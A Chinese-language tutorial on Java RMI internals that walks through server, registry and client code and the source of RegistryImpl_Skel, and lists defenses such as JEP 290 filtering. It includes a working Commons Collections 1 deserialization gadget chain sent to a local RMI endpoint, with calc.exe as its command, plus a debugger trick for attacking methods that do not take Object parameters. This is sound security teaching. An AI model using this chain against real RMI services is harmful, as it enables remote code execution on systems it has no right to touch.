RMIserver端和Registry端源码分析
字数 1426 2025-08-11 21:26:16
RMI 服务器端和 Registry 端源码分析与安全教学
1. RMI 基础概念
RMI (Remote Method Invocation) 是 Java 提供的远程方法调用机制,允许一个 JVM 中的对象调用另一个 JVM 中的对象方法。
1.1 RMI 核心组件
- Client 端:使用 stub (存根) 请求远程方法
- Server 端:使用 skeleton (骨架) 接收 stub 请求,处理后将结果返回给 Client
- Registry:注册表服务,用于注册和查找远程对象
2. RMI 基础实现
2.1 远程接口定义
远程接口必须继承 java.rmi.Remote,方法需要抛出 RemoteException:
public interface rmidemo extends Remote {
private static final long serialVersionUID = 6490921832856589236L;
public String hello() throws RemoteException;
}
serialVersionUID 用于防止序列化时的版本冲突。
2.2 远程对象实现
远程对象类必须:
- 继承
UnicastRemoteObject - 实现远程接口
public class RmiObject extends UnicastRemoteObject implements rmidemo {
protected RmiObject() throws RemoteException {}
public String hello() throws RemoteException {
return "Hello from RMI";
}
}
2.3 注册远程对象
public class server {
public static void main(String[] args) throws RemoteException {
rmidemo hello = new RmiObject(); // 创建远程对象
Registry registry = LocateRegistry.createRegistry(1099); // 创建注册表
registry.rebind("hello", hello); // 注册远程对象
}
}
2.4 客户端调用
public class clientdemo {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
rmidemo hello = (rmidemo) registry.lookup("hello"); // 查找远程对象
System.out.println(hello.hello()); // 调用远程方法
}
}
3. RMI 反序列化攻击
3.1 攻击条件
当 Server 端存在接收 Object 对象的远程方法时:
public interface rmidemo extends Remote {
void work(Object obj) throws RemoteException;
}
3.2 攻击示例(使用 CC1 链)
public class CommonsCollections1 {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("godown", "buruheshen");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
}
3.3 攻击执行
public static void main(String[] args) throws Exception {
String url = "rmi://127.0.0.1:1099/user";
User userClient = (User) Naming.lookup(url);
userClient.work(CommonsCollections1());
}
4. RMI 源码分析
4.1 Server 端 UnicastRemoteObject
UnicastRemoteObject 的作用:
- 创建远程对象
- 将对象放入 ObjectTable
- 监听本地端口
关键调用链:
readObject()→reexport()reexport()→exportObject()exportObject()使用UnicastServerRef创建动态代理
// 动态代理创建
Util.createProxy() → RemoteObjectInvocationHandler → Proxy.newProxyInstance()
4.2 Registry 端实现
LocateRegistry.createRegistry(1099) 实际创建 RegistryImpl 对象:
RegistryImpl(1099) → setup() → exportObject()
Registry 端使用 RegistryImpl_Skel 类处理请求:
RegistryImpl_Skel.dispatch() {
switch (操作类型) {
case 0: // bind
case 1: // list
case 2: // lookup
// ...
}
}
4.3 方法调用机制
- Client 端请求时,Registry 端执行
RegistryImpl_Skel.dispatch() - 将结果
writeObject()到序列化流 - Client 端反序列化结果并调用
5. 非 Object 参数 RMI 攻击
当 Server 端接收的是 Object 的子类(如 HelloObject)时:
- 利用
UnicastServerRef.dispatch()方法 - 在
hashToMethod_Map中寻找 Method 的 hash - 通过反射调用方法
攻击方法:
- 在
RemoteObjectInvocationHandler.invokeRemoteMethod处下断点 - 修改 Method 为服务器需要的 Method
- 虽然 hash 会改变,但恶意类已经生成
6. 防御措施
- 升级 JDK 版本,修复已知反序列化漏洞
- 使用安全管理器限制反序列化
- 对远程方法参数进行严格校验
- 使用白名单机制限制可反序列化的类
- 使用 JEP 290 提供的过滤器机制
7. 总结
RMI 机制的核心在于:
- 远程接口定义
- 远程对象实现
- 注册表服务
- 动态代理和序列化机制
安全风险主要来自:
- 不安全的反序列化
- 方法调用缺乏严格校验
- 动态代理机制可能被滥用
理解 RMI 内部机制对于防御相关攻击至关重要。